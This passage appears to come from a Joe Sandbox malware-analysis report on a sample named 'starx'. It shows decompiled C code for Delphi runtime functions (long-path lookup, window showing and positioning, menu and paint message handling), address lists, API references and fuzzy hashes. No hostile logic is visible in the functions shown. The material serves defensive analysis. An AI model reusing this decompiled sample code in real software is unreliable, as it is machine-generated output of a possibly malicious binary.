													_push( &(( &(( &_v595)[_t83]))[1]));
													L004012AC();
													_t64 =  &(_v334.cFileName);
													_push(_t64);
													L004012B4();
													_t83 = _t83 + _t64 + 1;
													_t93 = _t90;
													continue;
												}
											}
										}
										goto L17;
									}
									_push(_v12);
									_push( &_v595);
									_push(_v8);
									L004012AC();
								}
							}
						}
					}
				} else {
					_t84 = GetProcAddress(_t91, "GetLongPathNameA");
					if(_t84 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v595);
						_push(_v8);
						if( *_t84() == 0) {
							goto L4;
						} else {
							_push(_v12);
							_push( &_v595);
							_push(_v8);
							L004012AC();
						}
					}
				}
				L17:
				return _v16;
			}

0x004050a4
0x004050a7
0x004050ad
0x004050ba
0x004050be
0x00405100
0x00405106
0x00405143
0x00000000
0x00405108
0x0040510f
0x00405120
0x00405125
0x0040512b
0x00405133
0x00405138
0x00405146
0x00405148
0x0040514e
0x00405152
0x00405159
0x0040515a
0x00405205
0x0040516c
0x00405170
0x0040517d
0x00405184
0x00405185
0x0040518e
0x0040518f
0x004051a7
0x004051ac
0x004051af
0x004051b4
0x004051ba
0x004051bb
0x004051cb
0x004051cd
0x004051dd
0x004051e4
0x004051ee
0x004051ef
0x004051f4
0x004051fa
0x004051fb
0x00405201
0x00405203
0x00000000
0x00405203
0x004051cb
0x004051ac
0x00000000
0x0040517d
0x00405211
0x00405218
0x0040521c
0x0040521d
0x0040521d
0x00405138
0x00405125
0x0040510f
0x004050c0
0x004050cb
0x004050cf
0x00000000
0x004050d1
0x004050d1
0x004050dc
0x004050e0
0x004050e5
0x00000000
0x004050e7
0x004050ea
0x004050f1
0x004050f5
0x004050f6
0x004050f6
0x004050e5
0x004050cf
0x00405222
0x0040522b

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00000001,004670A4,?,004052F8,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 004050B5
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 004050C6
lstrcpyn.KERNEL32(?,?,?,?,00000001,004670A4,?,004052F8,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019,?), ref: 004050F6
lstrcpyn.KERNEL32(?,?,?,kernel32.dll,?,00000001,004670A4,?,004052F8,00000000,00405355,?,80000001,Software\Borland\Locales,00000000,000F0019), ref: 0040515A
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,00000001,004670A4,?,004052F8,00000000,00405355,?,80000001), ref: 0040518F
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,00000001,004670A4,?,004052F8,00000000,00405355), ref: 004051A2
FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,00000001,004670A4,?,004052F8,00000000), ref: 004051AF
lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,00000001,004670A4,?,004052F8), ref: 004051BB
lstrcpyn.KERNEL32(0000005D,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,00000001), ref: 004051EF
lstrlen.KERNEL32(?,0000005D,?,00000104,?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll), ref: 004051FB
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104,?,00000000,?,?,?,?,00000001,?,?), ref: 0040521D

Strings

\, xrefs: 004051CD
GetLongPathNameA, xrefs: 004050C0
kernel32.dll, xrefs: 004050B0

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 70472503dd25bee6b91770876038b21fddf875518342f2e3956838a154e9007f
Instruction ID: fe05daf39c2ba8b6dff6fdfadadeac0aca3546e12f294ff4493df28c99a94521
Opcode Fuzzy Hash: 70472503dd25bee6b91770876038b21fddf875518342f2e3956838a154e9007f
Instruction Fuzzy Hash: 6F416C76D00559ABDB10DAA8DC85BDFB7ACDF48304F1404FAA948F7281D6789E408F98

Uniqueness

Uniqueness Score: -1.00%

Function 00458B48, Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 407
windowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00458B48(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				intOrPtr _t149;
				intOrPtr _t154;
				intOrPtr _t155;
				intOrPtr _t160;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t165;
				struct HWND__* _t166;
				long _t176;
				signed int _t198;
				signed int _t199;
				long _t220;
				intOrPtr _t226;
				int _t231;
				intOrPtr _t232;
				intOrPtr _t241;
				intOrPtr _t245;
				signed int _t248;
				intOrPtr _t251;
				intOrPtr _t252;
				signed int _t258;
				long _t259;
				intOrPtr _t262;
				intOrPtr _t266;
				signed int _t269;
				intOrPtr _t270;
				intOrPtr _t271;
				signed int _t277;
				long _t278;
				intOrPtr _t281;
				signed int _t286;
				signed int _t287;
				long _t290;
				intOrPtr _t294;
				struct HWND__* _t299;
				signed int _t301;
				signed int _t302;
				signed int _t305;
				signed int _t307;
				long _t308;
				signed int _t311;
				signed int _t313;
				long _t314;
				signed int _t317;
				signed int _t318;
				signed int _t326;
				long _t328;
				intOrPtr _t331;
				intOrPtr _t362;
				long _t370;
				void* _t372;
				void* _t373;
				intOrPtr _t374;

				_t372 = _t373;
				_t374 = _t373 + 0xfffffff8;
				_v12 = 0;
				_v8 = __eax;
				_push(_t372);
				_push(0x4590b2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t374;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0 && ( *(_v8 + 0x2f4) & 0x00000004) != 0) {
					_t294 =  *0x47e918; // 0x41aa94
					E00405B24(_t294,  &_v12);
					E0040B5D8(_v12, 1);
					E004039FC();
				}
				_t149 =  *0x47fbb8; // 0x2331714
				E0045D25C(_t149);
				 *(_v8 + 0x2f4) =  *(_v8 + 0x2f4) | 0x00000004;
				_push(_t372);
				_push(0x459095);
				_push( *[fs:edx]);
				 *[fs:edx] = _t374;
				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
					_t155 = _v8;
					_t378 =  *((char*)(_t155 + 0x1a6));
					if( *((char*)(_t155 + 0x1a6)) == 0) {
						_push(_t372);
						_push(0x458f9c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t374;
						E0040346C(_v8, __eflags);
						 *[fs:eax] = 0;
						_t160 =  *0x47fbbc; // 0x2331320
						__eflags =  *((intOrPtr*)(_t160 + 0x6c)) - _v8;
						if( *((intOrPtr*)(_t160 + 0x6c)) == _v8) {
							__eflags = 0;
							E00457CF4(_v8, 0);
						}
						_t162 = _v8;
						__eflags =  *((char*)(_t162 + 0x22f)) - 1;
						if( *((char*)(_t162 + 0x22f)) != 1) {
							_t163 = _v8;
							__eflags =  *(_t163 + 0x2f4) & 0x00000008;
							if(( *(_t163 + 0x2f4) & 0x00000008) == 0) {
								_t299 = 0;
								_t165 = E004432A4(_v8);
								_t166 = GetActiveWindow();
								__eflags = _t165 - _t166;
								if(_t165 == _t166) {
									_t176 = IsIconic(E004432A4(_v8));
									__eflags = _t176;
									if(_t176 == 0) {
										_t299 = E00453950(E004432A4(_v8));
									}
								}
								__eflags = _t299;
								if(_t299 == 0) {
									ShowWindow(E004432A4(_v8), 0);
								} else {
									SetWindowPos(E004432A4(_v8), 0, 0, 0, 0, 0, 0x97);
									SetActiveWindow(_t299);
								}
							} else {
								SetWindowPos(E004432A4(_v8), 0, 0, 0, 0, 0, 0x97);
							}
						} else {
							E004407FC(_v8);
						}
					} else {
						_push(_t372);
						_push(0x458c00);
						_push( *[fs:eax]);
						 *[fs:eax] = _t374;
						E0040346C(_v8, _t378);
						 *[fs:eax] = 0;
						if( *((char*)(_v8 + 0x230)) == 4 ||  *((char*)(_v8 + 0x230)) == 6 &&  *((char*)(_v8 + 0x22f)) == 1) {
							if( *((char*)(_v8 + 0x22f)) != 1) {
								_t301 = E0045A3E0() -  *(_v8 + 0x48);
								__eflags = _t301;
								_t302 = _t301 >> 1;
								if(_t301 < 0) {
									asm("adc ebx, 0x0");
								}
								_t198 = E0045A3D4() -  *(_v8 + 0x4c);
								__eflags = _t198;
								_t199 = _t198 >> 1;
								if(_t198 < 0) {
									asm("adc eax, 0x0");
								}
							} else {
								_t241 =  *0x47fbb8; // 0x2331714
								_t305 = E0043C4C0( *((intOrPtr*)(_t241 + 0x44))) -  *(_v8 + 0x48);
								_t302 = _t305 >> 1;
								if(_t305 < 0) {
									asm("adc ebx, 0x0");
								}
								_t245 =  *0x47fbb8; // 0x2331714
								_t248 = E0043C504( *((intOrPtr*)(_t245 + 0x44))) -  *(_v8 + 0x4c);
								_t199 = _t248 >> 1;
								if(_t248 < 0) {
									asm("adc eax, 0x0");
								}
							}
							if(_t302 < 0) {
								_t302 = 0;
							}
							if(_t199 < 0) {
								_t199 = 0;
							}
							_t326 = _t199;
							 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
							if( *((char*)(_v8 + 0x57)) != 0) {
								E00456FA4(_v8, _t326);
							}
						} else {
							_t251 =  *((intOrPtr*)(_v8 + 0x230));
							__eflags = _t251 + 0xfa - 2;
							if(_t251 + 0xfa - 2 >= 0) {
								__eflags = _t251 - 5;
								if(_t251 == 5) {
									_t252 = _v8;
									__eflags =  *((char*)(_t252 + 0x22f)) - 1;
									if( *((char*)(_t252 + 0x22f)) != 1) {
										_t307 = E0045A410() -  *(_v8 + 0x48);
										__eflags = _t307;
										_t308 = _t307 >> 1;
										if(_t307 < 0) {
											asm("adc ebx, 0x0");
										}
										_t258 = E0045A404() -  *(_v8 + 0x4c);
										__eflags = _t258;
										_t259 = _t258 >> 1;
										if(_t258 < 0) {
											asm("adc eax, 0x0");
										}
									} else {
										_t262 =  *0x47fbb8; // 0x2331714
										_t311 = E0043C4C0( *((intOrPtr*)(_t262 + 0x44))) -  *(_v8 + 0x48);
										__eflags = _t311;
										_t308 = _t311 >> 1;
										if(_t311 < 0) {
											asm("adc ebx, 0x0");
										}
										_t266 =  *0x47fbb8; // 0x2331714
										_t269 = E0043C504( *((intOrPtr*)(_t266 + 0x44))) -  *(_v8 + 0x4c);
										__eflags = _t269;
										_t259 = _t269 >> 1;
										if(_t269 < 0) {
											asm("adc eax, 0x0");
										}
									}
									__eflags = _t308;
									if(_t308 < 0) {
										_t308 = 0;
										__eflags = 0;
									}
									__eflags = _t259;
									if(_t259 < 0) {
										_t259 = 0;
										__eflags = 0;
									}
									 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
								}
							} else {
								_t270 =  *0x47fbb8; // 0x2331714
								_t370 =  *(_t270 + 0x44);
								_t271 = _v8;
								__eflags =  *((char*)(_t271 + 0x230)) - 7;
								if( *((char*)(_t271 + 0x230)) == 7) {
									_t362 =  *0x45210c; // 0x452158
									_t290 = E004033FC( *(_v8 + 4), _t362);
									__eflags = _t290;
									if(_t290 != 0) {
										_t370 =  *(_v8 + 4);
									}
								}
								__eflags = _t370;
								if(_t370 == 0) {
									_t313 = E0045A3E0() -  *(_v8 + 0x48);
									__eflags = _t313;
									_t314 = _t313 >> 1;
									if(_t313 < 0) {
										asm("adc ebx, 0x0");
									}
									_t277 = E0045A3D4() -  *(_v8 + 0x4c);
									__eflags = _t277;
									_t278 = _t277 >> 1;
									if(_t277 < 0) {
										asm("adc eax, 0x0");
									}
								} else {
									_t317 =  *((intOrPtr*)(_t370 + 0x48)) -  *(_v8 + 0x48);
									__eflags = _t317;
									_t318 = _t317 >> 1;
									if(_t317 < 0) {
										asm("adc ebx, 0x0");
									}
									_t314 = _t318 +  *((intOrPtr*)(_t370 + 0x40));
									_t286 =  *((intOrPtr*)(_t370 + 0x4c)) -  *(_v8 + 0x4c);
									__eflags = _t286;
									_t287 = _t286 >> 1;
									if(_t286 < 0) {
										asm("adc eax, 0x0");
									}
									_t278 = _t287 +  *((intOrPtr*)(_t370 + 0x44));
								}
								__eflags = _t314;
								if(_t314 < 0) {
									_t314 = 0;
									__eflags = 0;
								}
								__eflags = _t278;
								if(_t278 < 0) {
									_t278 = 0;
									__eflags = 0;
								}
								_t328 = _t278;
								 *((intOrPtr*)( *_v8 + 0x84))( *(_v8 + 0x4c),  *(_v8 + 0x48));
								_t281 = _v8;
								__eflags =  *((char*)(_t281 + 0x57));
								if( *((char*)(_t281 + 0x57)) != 0) {
									E00456FA4(_v8, _t328);
								}
							}
						}
						 *((char*)(_v8 + 0x230)) = 0;
						if( *((char*)(_v8 + 0x22f)) != 1) {
							ShowWindow(E004432A4(_v8),  *(0x467e04 + ( *(_v8 + 0x22b) & 0x000000ff) * 4));
						} else {
							if( *(_v8 + 0x22b) != 2) {
								ShowWindow(E004432A4(_v8),  *(0x467e04 + ( *(_v8 + 0x22b) & 0x000000ff) * 4));
								_t220 =  *(_v8 + 0x48) |  *(_v8 + 0x4c) << 0x00000010;
								__eflags = _t220;
								CallWindowProcA(0x4064d4, E004432A4(_v8), 5, 0, _t220);
								E0043CD1C();
							} else {
								_t231 = E004432A4(_v8);
								_t232 =  *0x47fbb8; // 0x2331714
								SendMessageA( *( *((intOrPtr*)(_t232 + 0x44)) + 0x254), 0x223, _t231, 0);
								ShowWindow(E004432A4(_v8), 3);
							}
							_t226 =  *0x47fbb8; // 0x2331714
							SendMessageA( *( *((intOrPtr*)(_t226 + 0x44)) + 0x254), 0x234, 0, 0);
						}
					}
				}
				_pop(_t331);
				 *[fs:eax] = _t331;
				_push(0x45909c);
				_t154 = _v8;
				 *(_t154 + 0x2f4) =  *(_t154 + 0x2f4) & 0x000000fb;
				return _t154;
			}

0x00458b49
0x00458b4b
0x00458b53
0x00458b56
0x00458b5b
0x00458b5c
0x00458b61
0x00458b64
0x00458b6e
0x00458b7f
0x00458b84
0x00458b93
0x00458b98
0x00458b98
0x00458b9d
0x00458ba2
0x00458baa
0x00458bb3
0x00458bb4
0x00458bb9
0x00458bbc
0x00458bc6
0x00458bcc
0x00458bcf
0x00458bd6
0x00458f7a
0x00458f7b
0x00458f80
0x00458f83
0x00458f8d
0x00458f97
0x00458fb3
0x00458fbb
0x00458fbe
0x00458fc0
0x00458fc5
0x00458fc5
0x00458fca
0x00458fcd
0x00458fd4
0x00458fe3
0x00458fe6
0x00458fed
0x0045900e
0x00459013
0x0045901a
0x0045901f
0x00459021
0x0045902c
0x00459031
0x00459033
0x00459042
0x00459042
0x00459033
0x00459044
0x00459046
0x00459078
0x00459048
0x00459060
0x00459066
0x00459066
0x00458fef
0x00459007
0x00459007
0x00458fd6
0x00458fd9
0x00458fd9
0x00458bdc
0x00458bde
0x00458bdf
0x00458be4
0x00458be7
0x00458bf1
0x00458bfb
0x00458c21
0x00458c4d
0x00458c96
0x00458c96
0x00458c99
0x00458c9b
0x00458c9d
0x00458c9d
0x00458cad
0x00458cad
0x00458cb0
0x00458cb2
0x00458cb4
0x00458cb4
0x00458c4f
0x00458c4f
0x00458c61
0x00458c64
0x00458c66
0x00458c68
0x00458c68
0x00458c6b
0x00458c7b
0x00458c7e
0x00458c80
0x00458c82
0x00458c82
0x00458c80
0x00458cb9
0x00458cbb
0x00458cbb
0x00458cbf
0x00458cc1
0x00458cc1
0x00458cd1
0x00458cda
0x00458ce7
0x00458cf0
0x00458cf0
0x00458cfa
0x00458cfd
0x00458d08
0x00458d0b
0x00458ddf
0x00458de1
0x00458de7
0x00458dea
0x00458df1
0x00458e3a
0x00458e3a
0x00458e3d
0x00458e3f
0x00458e41
0x00458e41
0x00458e51
0x00458e51
0x00458e54
0x00458e56
0x00458e58
0x00458e58
0x00458df3
0x00458df3
0x00458e05
0x00458e05
0x00458e08
0x00458e0a
0x00458e0c
0x00458e0c
0x00458e0f
0x00458e1f
0x00458e1f
0x00458e22
0x00458e24
0x00458e26
0x00458e26
0x00458e24
0x00458e5b
0x00458e5d
0x00458e5f
0x00458e5f
0x00458e5f
0x00458e61
0x00458e63
0x00458e65
0x00458e65
0x00458e65
0x00458e7e
0x00458e7e
0x00458d11
0x00458d11
0x00458d16
0x00458d19
0x00458d1c
0x00458d23
0x00458d2b
0x00458d31
0x00458d36
0x00458d38
0x00458d3d
0x00458d3d
0x00458d38
0x00458d40
0x00458d42
0x00458d7b
0x00458d7b
0x00458d7e
0x00458d80
0x00458d82
0x00458d82
0x00458d92
0x00458d92
0x00458d95
0x00458d97
0x00458d99
0x00458d99
0x00458d44
0x00458d4a
0x00458d4a
0x00458d4d
0x00458d4f
0x00458d51
0x00458d51
0x00458d54
0x00458d5d
0x00458d5d
0x00458d60
0x00458d62
0x00458d64
0x00458d64
0x00458d67
0x00458d67
0x00458d9c
0x00458d9e
0x00458da0
0x00458da0
0x00458da0
0x00458da2
0x00458da4
0x00458da6
0x00458da6
0x00458da6
0x00458db6
0x00458dbf
0x00458dc5
0x00458dc8
0x00458dcc
0x00458dd5
0x00458dd5
0x00458dcc
0x00458d0b
0x00458e87
0x00458e98
0x00458f6e
0x00458e9e
0x00458ea8
0x00458efb
0x00458f0f
0x00458f0f
0x00458f24
0x00458f2c
0x00458eaa
0x00458eaf
0x00458eba
0x00458ec9
0x00458ed9
0x00458ed9
0x00458f3a
0x00458f49
0x00458f49
0x00458e98
0x00458bd6
0x0045907f
0x00459082
0x00459085
0x0045908a
0x0045908d
0x00459094

APIs

SendMessageA.USER32 ref: 00458EC9

Part of subcall function 00405B24: LoadStringA.USER32 ref: 00405B55

Strings

X!E, xrefs: 00458D2B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: LoadMessageSendString
String ID: X!E
API String ID: 1946433856-398919398
Opcode ID: a80da2056fc2c2c457c01e83f67ff5b2441c5d936006cc2153f7eaa3260148a0
Instruction ID: 7e5cd0b2d939f681ae37a421520421118a01f867ea6136fcca39e52f70600239
Opcode Fuzzy Hash: a80da2056fc2c2c457c01e83f67ff5b2441c5d936006cc2153f7eaa3260148a0
Instruction Fuzzy Hash: 3EF15D31A00204EFDB01DBA9C985B5D77F1AB04305F2541BAE904EB3A3DB79EE49DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00450C40, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 405
nativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E00450C40(intOrPtr __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct HMENU__* _v12;
				signed int _v16;
				char _v17;
				intOrPtr _v24;
				int _v28;
				struct HDC__* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr* _v48;
				char _v52;
				intOrPtr _t137;
				signed int _t138;
				intOrPtr _t144;
				signed int _t150;
				signed int _t151;
				intOrPtr* _t153;
				void* _t158;
				struct HMENU__* _t160;
				intOrPtr* _t165;
				void* _t173;
				signed int _t177;
				signed int _t181;
				void* _t182;
				void* _t214;
				struct HDC__* _t221;
				void* _t251;
				signed int _t257;
				void* _t265;
				signed int _t271;
				signed int _t272;
				signed int _t274;
				signed int _t275;
				signed int _t277;
				signed int _t278;
				signed int _t280;
				signed int _t281;
				signed int _t283;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t290;
				signed int _t291;
				intOrPtr _t307;
				intOrPtr _t311;
				intOrPtr _t333;
				intOrPtr _t342;
				intOrPtr _t346;
				intOrPtr* _t353;
				signed int _t355;
				intOrPtr* _t356;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				signed int _t372;
				signed int _t373;
				intOrPtr* _t375;
				void* _t377;
				void* _t378;
				intOrPtr _t379;
				void* _t380;

				_t377 = _t378;
				_t379 = _t378 + 0xffffffd0;
				_v52 = 0;
				_t375 = __edx;
				_v8 = __eax;
				_push(_t377);
				_push(0x451173);
				_push( *[fs:eax]);
				 *[fs:eax] = _t379;
				_t137 =  *__edx;
				_t380 = _t137 - 0x111;
				if(_t380 > 0) {
					_t138 = _t137 - 0x117;
					__eflags = _t138;
					if(_t138 == 0) {
						_t271 =  *((intOrPtr*)(_v8 + 8)) - 1;
						__eflags = _t271;
						if(_t271 < 0) {
							goto L67;
						} else {
							_t272 = _t271 + 1;
							_t367 = 0;
							__eflags = 0;
							while(1) {
								_t150 = E0044FFEC(E00413C44(_v8, _t367),  *(_t375 + 4), __eflags);
								__eflags = _t150;
								if(_t150 != 0) {
									goto L68;
								}
								_t367 = _t367 + 1;
								_t272 = _t272 - 1;
								__eflags = _t272;
								if(_t272 != 0) {
									continue;
								} else {
									goto L67;
								}
								goto L68;
							}
						}
					} else {
						_t151 = _t138 - 8;
						__eflags = _t151;
						if(_t151 == 0) {
							_v17 = 0;
							__eflags =  *(__edx + 6) & 0x00000010;
							if(( *(__edx + 6) & 0x00000010) != 0) {
								_v17 = 1;
							}
							_t274 =  *((intOrPtr*)(_v8 + 8)) - 1;
							__eflags = _t274;
							if(__eflags < 0) {
								L32:
								_t153 =  *0x47e750; // 0x47fbb8
								E0045D16C( *_t153, 0, __eflags);
								goto L67;
							} else {
								_t275 = _t274 + 1;
								_t368 = 0;
								__eflags = 0;
								while(1) {
									__eflags = _v17 - 1;
									if(_v17 != 1) {
										_v12 =  *(_t375 + 4) & 0x0000ffff;
									} else {
										_t160 =  *(_t375 + 8);
										__eflags = _t160;
										if(_t160 == 0) {
											_v12 = 0xffffffff;
										} else {
											_v12 = GetSubMenu(_t160,  *(_t375 + 4) & 0x0000ffff);
										}
									}
									_t158 = E00413C44(_v8, _t368);
									_t295 = _v17;
									_v16 = E0044FF30(_t158, _v17, _v12);
									__eflags = _v16;
									if(__eflags != 0) {
										break;
									}
									_t368 = _t368 + 1;
									_t275 = _t275 - 1;
									__eflags = _t275;
									if(__eflags != 0) {
										continue;
									} else {
										goto L32;
									}
									goto L68;
								}
								E00439BCC( *((intOrPtr*)(_v16 + 0x58)), _t295,  &_v52, __eflags);
								_t165 =  *0x47e750; // 0x47fbb8
								E0045D16C( *_t165, _v52, __eflags);
							}
						} else {
							__eflags = _t151 == 1;
							if(_t151 == 1) {
								_t277 =  *((intOrPtr*)(_v8 + 8)) - 1;
								__eflags = _t277;
								if(_t277 < 0) {
									goto L67;
								} else {
									_t278 = _t277 + 1;
									_t369 = 0;
									__eflags = 0;
									while(1) {
										_v48 = E00413C44(_v8, _t369);
										_t173 =  *((intOrPtr*)( *_v48 + 0x34))();
										__eflags = _t173 -  *(_t375 + 8);
										if(_t173 ==  *(_t375 + 8)) {
											break;
										}
										_t177 = E0044FF30(_v48, 1,  *(_t375 + 8));
										__eflags = _t177;
										if(_t177 == 0) {
											_t369 = _t369 + 1;
											_t278 = _t278 - 1;
											__eflags = _t278;
											if(_t278 != 0) {
												continue;
											} else {
												goto L67;
											}
										} else {
											break;
										}
										goto L68;
									}
									E00450830(_v48, _t375);
								}
							} else {
								goto L67;
							}
						}
					}
					goto L68;
				} else {
					if(_t380 == 0) {
						_t280 =  *((intOrPtr*)(_v8 + 8)) - 1;
						__eflags = _t280;
						if(_t280 < 0) {
							goto L67;
						} else {
							_t281 = _t280 + 1;
							_t370 = 0;
							__eflags = 0;
							while(1) {
								E00413C44(_v8, _t370);
								_t181 = E0044FFD0( *(_t375 + 4), __eflags);
								__eflags = _t181;
								if(_t181 != 0) {
									goto L68;
								}
								_t370 = _t370 + 1;
								_t281 = _t281 - 1;
								__eflags = _t281;
								if(_t281 != 0) {
									continue;
								} else {
									goto L67;
								}
								goto L68;
							}
						}
						goto L68;
					} else {
						_t182 = _t137 - 0x2b;
						if(_t182 == 0) {
							_v40 =  *((intOrPtr*)(__edx + 8));
							_t283 =  *((intOrPtr*)(_v8 + 8)) - 1;
							__eflags = _t283;
							if(_t283 < 0) {
								goto L67;
							} else {
								_t284 = _t283 + 1;
								_t371 = 0;
								__eflags = 0;
								while(1) {
									_v16 = E0044FF30(E00413C44(_v8, _t371), 0,  *((intOrPtr*)(_v40 + 8)));
									__eflags = _v16;
									if(_v16 != 0) {
										break;
									}
									_t371 = _t371 + 1;
									_t284 = _t284 - 1;
									__eflags = _t284;
									if(_t284 != 0) {
										continue;
									} else {
										goto L67;
									}
									goto L69;
								}
								_v24 = E0041D3A8(0, 1);
								_push(_t377);
								_push(0x450fa6);
								_push( *[fs:eax]);
								 *[fs:eax] = _t379;
								_v28 = SaveDC( *(_v40 + 0x18));
								_push(_t377);
								_push(0x450f89);
								_push( *[fs:eax]);
								 *[fs:eax] = _t379;
								E0041DAD8(_v24,  *(_v40 + 0x18));
								E0041D978(_v24);
								E00451418(_v16, _v40 + 0x1c, _v24,  *((intOrPtr*)(_v40 + 0x10)));
								_pop(_t333);
								 *[fs:eax] = _t333;
								_push(0x450f90);
								__eflags = 0;
								E0041DAD8(_v24, 0);
								return RestoreDC( *(_v40 + 0x18), _v28);
							}
						} else {
							_t214 = _t182 - 1;
							if(_t214 == 0) {
								_v44 =  *((intOrPtr*)(__edx + 8));
								_t286 =  *((intOrPtr*)(_v8 + 8)) - 1;
								__eflags = _t286;
								if(_t286 < 0) {
									goto L67;
								} else {
									_t287 = _t286 + 1;
									_t372 = 0;
									__eflags = 0;
									while(1) {
										_v16 = E0044FF30(E00413C44(_v8, _t372), 0,  *((intOrPtr*)(_v44 + 8)));
										__eflags = _v16;
										if(_v16 != 0) {
											break;
										}
										_t372 = _t372 + 1;
										_t287 = _t287 - 1;
										__eflags = _t287;
										if(_t287 != 0) {
											continue;
										} else {
											goto L67;
										}
										goto L69;
									}
									_t221 =  *((intOrPtr*)(_v8 + 0x10));
									L004066DC();
									_v32 = _t221;
									 *[fs:eax] = _t379;
									_v24 = E0041D3A8(0, 1);
									 *[fs:eax] = _t379;
									_v28 = SaveDC(_v32);
									 *[fs:eax] = _t379;
									E0041DAD8(_v24, _v32);
									E0041D978(_v24);
									 *((intOrPtr*)( *_v16 + 0x38))(_v44 + 0x10,  *[fs:eax], 0x4510a7, _t377,  *[fs:eax], 0x4510c4, _t377,  *[fs:eax], 0x4510e9, _t377, _t221);
									_pop(_t342);
									 *[fs:eax] = _t342;
									_push(0x4510ae);
									__eflags = 0;
									E0041DAD8(_v24, 0);
									return RestoreDC(_v32, _v28);
								}
							} else {
								if(_t214 == 0x27) {
									_v36 =  *((intOrPtr*)(__edx + 8));
									_t290 =  *((intOrPtr*)(_v8 + 8)) - 1;
									__eflags = _t290;
									if(_t290 < 0) {
										goto L67;
									} else {
										_t291 = _t290 + 1;
										_t373 = 0;
										__eflags = 0;
										while(1) {
											_t251 =  *((intOrPtr*)( *((intOrPtr*)(E00413C44(_v8, _t373))) + 0x34))();
											_t346 = _v36;
											__eflags = _t251 -  *((intOrPtr*)(_t346 + 0xc));
											if(_t251 !=  *((intOrPtr*)(_t346 + 0xc))) {
												_v16 = E0044FF30(E00413C44(_v8, _t373), 1,  *((intOrPtr*)(_v36 + 0xc)));
											} else {
												_v16 =  *((intOrPtr*)(E00413C44(_v8, _t373) + 0x34));
											}
											__eflags = _v16;
											if(_v16 != 0) {
												break;
											}
											_t373 = _t373 + 1;
											_t291 = _t291 - 1;
											__eflags = _t291;
											if(_t291 != 0) {
												continue;
											} else {
												goto L67;
											}
											goto L68;
										}
										_t257 = E0044FF60(E00413C44(_v8, _t373), 1,  *((intOrPtr*)(_v36 + 8)));
										__eflags = _t257;
										if(_t257 == 0) {
											_t265 = E00413C44(_v8, _t373);
											__eflags = 0;
											_t257 = E0044FF60(_t265, 0,  *((intOrPtr*)(_v36 + 0xc)));
										}
										_t353 =  *0x47e904; // 0x47fbbc
										_t355 =  *( *_t353 + 0x6c);
										__eflags = _t355;
										if(_t355 != 0) {
											__eflags = _t257;
											if(_t257 == 0) {
												_t257 =  *(_t355 + 0x158);
											}
											_t307 =  *0x47e904; // 0x47fbbc
											__eflags =  *(_t355 + 0x228) & 0x00000008;
											if(( *(_t355 + 0x228) & 0x00000008) == 0) {
												_t356 =  *0x47e750; // 0x47fbb8
												E0045CE10( *_t356, _t291, _t307, _t257, _t373, _t375);
											} else {
												E0045CE78();
											}
										}
									}
								} else {
									L67:
									_push( *(_t375 + 8));
									_push( *(_t375 + 4));
									_push( *_t375);
									_t144 =  *((intOrPtr*)(_v8 + 0x10));
									_push(_t144);
									L004064DC();
									 *((intOrPtr*)(_t375 + 0xc)) = _t144;
								}
								L68:
								_pop(_t311);
